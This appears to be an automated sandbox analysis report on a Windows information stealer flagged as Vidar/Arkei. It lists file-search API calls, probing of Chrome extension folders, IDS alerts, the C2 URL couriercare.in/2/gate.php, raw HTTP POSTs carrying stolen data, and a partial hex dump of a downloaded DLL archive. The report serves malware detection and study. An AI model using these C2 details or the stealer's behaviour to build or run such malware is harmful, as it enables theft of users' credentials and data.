Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.0.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: nss3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401280
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401090
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0040A150 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040A150
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0040B570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	0_2_0040B570
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0040B110 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040B110
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_00407620 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00407620
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0040B3A0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040B3A0

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.4:49729 -> 192.187.112.99:80
Source: Traffic	Snort IDS: 2036654 ET TROJAN Win32/Vidar Variant/Mars Stealer Resources Download 192.187.112.99:80 -> 192.168.2.4:49729

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: couriercare.in/2/gate.php

Found C&C like URL pattern

Source: global traffic

HTTP traffic detected: POST /2/gate.php HTTP/1.1Content-Type: multipart/form-data; boundary=----I5XL6XLN7QIM7Q1DHost: couriercare.inContent-Length: 96067Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=636d770934fc71f82f88d3ae900743ed

Source: global traffic	HTTP traffic detected: GET /2/gate.php HTTP/1.1Host: couriercare.inConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /request HTTP/1.1Host: couriercare.inCache-Control: no-cacheCookie: PHPSESSID=636d770934fc71f82f88d3ae900743ed
Source: global traffic	HTTP traffic detected: POST /2/gate.php HTTP/1.1Content-Type: multipart/form-data; boundary=----I5XL6XLN7QIM7Q1DHost: couriercare.inContent-Length: 96067Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=636d770934fc71f82f88d3ae900743ed

Source: Joe Sandbox View

ASN Name: NOCIXUS NOCIXUS

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_00406040 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00406040

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Dec 2023 11:06:52 GMTServer: ApacheLast-Modified: Mon, 21 Feb 2022 23:34:00 GMTAccept-Ranges: bytesContent-Length: 1565849Data Raw: 50 4b 03 04 14 00 00 00 08 00 0d 7a 3e 54 c5 85 06 76 05 31 01 00 d0 35 02 00 0c 00 00 00 73 6f 66 74 6f 6b 6e 33 2e 64 6c 6c ec 5b 7d 78 14 45 9a ef 9e 99 84 49 98 64 1a 48 30 3c 04 09 6c f0 b2 8a 18 18 58 12 09 18 20 9d 8d 42 60 d8 81 99 04 c8 07 5f 3a 8e 01 42 9c c6 9c 4f 50 d8 c9 28 b3 cd 78 78 8b 0a b7 ec 0a 0a 1e 77 b2 ae ab a0 39 37 a7 e3 05 49 60 05 f9 d2 45 c5 5d 5c 61 af 71 b2 4b 74 73 31 ba 39 fa de aa ea ee 99 ae ee e4 f4 b9 7f 8f e7 c1 aa a9 fe d5 fb fe de 8f 7a ab aa 1b 2b 97 ef 64 ac 0c c3 d8 e0 af 2c 33 4c 1b 43 fe 94 32 df e2 0f cb 30 99 e3 df c8 64 8e a4 9d 9a d0 c6 2e 3c 35 61 a9 ff fe 07 f3 1a 9b 36 de d7 b4 6a 7d de 9a 55 1b 36 6c 0c e6 ad 5e 97 d7 24 6c c8 bb 7f 43 5e d9 62 4f de fa 8d 6b d7 4d c9 c8 48 cf 57 44 3c d7 90 9f fb a7 8c 7b 16 ab 7f af 0b 1f 2e fe 1c da bb 36 2e 58 74 05 b7 77 2b ed e2 45 dd b8 5d b4 e8 cf d0 1e 5b 4f 9e df be 61 c1 a2 ab 78 ee 82 c5 8f e0 df 8b 16 7d 89 db 7b 16 fd 27 6e 8f 2e 26 6d 05 fe fd a3 fb d7 f8 91 1e d5 04 37 cf 30 0b d9 14 e6 ad d5 f1 15 ea d8 65 66 e2 84 e1 6c e6 70 e6 35 30 70 35 19 7b a6 1d fa 1c 74 ce b0 e8 27 87 fb 16 86 49 65 f0 6f ad 65 dc 16 ec cc b4 5f 5b e0 71 29 99 c4 31 4c a2 25 0d 67 b5 30 87 a0 6d 83 b6 0b 0d 16 5a 98 66 6b 92 6f 73 2c cc 99 71 28 10 16 a6 3e 13 d4 de 60 99 a5 cc e0 7f 0a 64 56 1f 33 e0 d9 60 19 1c 3f 25 b8 ae 39 08 ed 6f 8f 10 8a d8 56 9b 1e 93 c7 30 f5 53 9a d6 ae 0a ae 62 98 f4 32 c5 f6 72 68 df 60 93 61 48 6f e9 14 02 63 98 61 68 a2 45 91 65 a1 71 b1 29 4d 0f 36 ad 61 18 62 6b a1 82 b3 19 70 a5 53 9a d6 35 6c 5c c3 60 db 91 0f 30 47 bb 01 37 8f f9 ff 3f ff a7 3f cb c4 ee fd 2b 27 5a b8 70 4c 18 29 cd cc 62 98 70 2c 68 73 c5 6a 3a f0 68 8d bc ef 65 56 07 1a 25 8d 24 a0 94 50 97 9c 40 b5 eb 51 99 52 f7 28 84 12 1c 2a 00 a5 59 4d 87 4e d0 89 51 26 82 da 58 8a d3 f3 a3 0c 9c ea 9b 75 72 b6 99 c9 69 65 28 42 2b 08 a1 34 55 46 0b c5 66 96 99 94 ad 20 25 21 22 87 88 18 8e 47 e4 7d 05 40 b5 23 41 f4 9b 91 84 28 08 e8 50 10 3b 2c 14 89 0f 46 ea bd b2 d3 82 bc 12 9a 84 7e 32 fe 77 cf b1 9c 9c 5d 02 ff ad 16 33 aa d0 9c 13 41 07 c0 ed 4b e4 ec 95 68 34 34 09 8d 32 5e df 9b 31 f8 f9 56 3d fc 38 78 f0 60 5d 6d 87 ce 63 9b 46 1a a3 b8 d2 42 45 71 e1 48 13 73 fd 34 df 5b 28 be f5 16 43 14 ad 66 82 d6 d2 82 3e 19 a1 17 e4 b6 1a 04 bd 31 c2 44 50 85 95 e2 bd cb 0c 55 45 a3 36 98 a1 96 5a a9 d4 aa 18 61 4c 2d bf 4e ce 2d 26 72 ea 83 3a cb ac 23 f4 79 d5 40 99 f5 19 67 22 a2 51 07 89 99 41 26 eb 20 3f 37 83 14 e8 20 0f 9b 41 38 1d c4 67 02 d9 77 88 4e 8d a9 66 82 b2 74 90 4c 33 48 8e 0e 12 77 9a e8 ba 40 17 93 77 cc 50 17 69 d4 b3 66 a8 4b 34 ea ef cd 50 a5 74 6a 78 cc 50 25 34 ea 76 33 d4 4a 1a 35 cc 0c d5 45 f3 fa 34 d3 04 75 86 ae 73 bf c9 34 ae da 02 7a 19 3d 9d a9 5f 46 d3 8d eb f1 41 33 6d 03 16 4a 5b a5 89 b6 c9 b4 b6 02 4a 5b 99 51 5b 8a 99 b6 52 5a d0 1f 32 f4 82 8a 8c 82 da 33 4c 04 b5 d1 a

Source: global traffic	HTTP traffic detected: GET /2/gate.php HTTP/1.1Host: couriercare.inConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /request HTTP/1.1Host: couriercare.inCache-Control: no-cacheCookie: PHPSESSID=636d770934fc71f82f88d3ae900743ed

Source: unknown

DNS traffic detected: queries for: couriercare.in

Source: unknown

Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.0000000000750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://couriercare.in/2/gate.php
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.0000000000750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://couriercare.in/2/gate.phpcM
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.0000000000750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://couriercare.in/request
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.0000000000750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://couriercare.in/request)CE
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.mozilla.com0
Source: VKNYUK68.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: VKNYUK68.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: VKNYUK68.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: VKNYUK68.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: VKNYUK68.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: VKNYUK68.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: VKNYUK68.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: DZ1x3hqhbe.exe, 00000000.00000003.1649145910.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670969754.000000001023D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: DZ1x3hqhbe.exe, 00000000.00000003.1649145910.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: DZ1x3hqhbe.exe, 00000000.00000003.1638484559.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670516784.000000000F47C000.00000004.00000020.00020000.00000000.sdmp, KFCJW4E3.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: KFCJW4E3.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: DZ1x3hqhbe.exe, 00000000.00000003.1638484559.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670516784.000000000F47C000.00000004.00000020.00020000.00000000.sdmp, KFCJW4E3.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: KFCJW4E3.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1670429821.000000000F44F000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: VKNYUK68.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: VKNYUK68.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670969754.000000001023D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: DZ1x3hqhbe.exe, 00000000.00000003.1649145910.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670969754.000000001023D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: DZ1x3hqhbe.exe, 00000000.00000003.1649145910.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670969754.000000001023D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: DZ1x3hqhbe.exe, 00000000.00000003.1649197332.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000003.1649145910.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: DZ1x3hqhbe.exe, 00000000.00000003.1649145910.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670969754.000000001023D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: DZ1x3hqhbe.exe, 00000000.00000003.1649197332.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000003.1649145910.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: 00000000.00000002.1663381742.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: Process Memory Space: DZ1x3hqhbe.exe PID: 1460, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown

PE file has a writeable .text section

Source: DZ1x3hqhbe.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

PE file has nameless sections

Source: DZ1x3hqhbe.exe

Static PE information: section name:

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0041B020	0_2_0041B020
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_00410F00	0_2_00410F00
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0041A790	0_2_0041A790
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0041A190	0_2_0041A190
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0041A5A0	0_2_0041A5A0
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_004107B0	0_2_004107B0
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6095C314	0_2_6095C314
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6094DA3A	0_2_6094DA3A
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_609660FA	0_2_609660FA
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6092114F	0_2_6092114F
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6091F2C9	0_2_6091F2C9
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6096923E	0_2_6096923E
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60950312	0_2_60950312
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6094D33B	0_2_6094D33B
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6093B368	0_2_6093B368
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6096748C	0_2_6096748C
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6093F42E	0_2_6093F42E
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60954470	0_2_60954470
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_609615FA	0_2_609615FA
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6096A5EE	0_2_6096A5EE
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6096D6A4	0_2_6096D6A4
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_609606A8	0_2_609606A8
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60932654	0_2_60932654
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60955665	0_2_60955665
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6094B7DB	0_2_6094B7DB
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6092F74D	0_2_6092F74D
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60964807	0_2_60964807
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6094E9BC	0_2_6094E9BC
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60937929	0_2_60937929
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6093FAD6	0_2_6093FAD6
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6096DAE8	0_2_6096DAE8
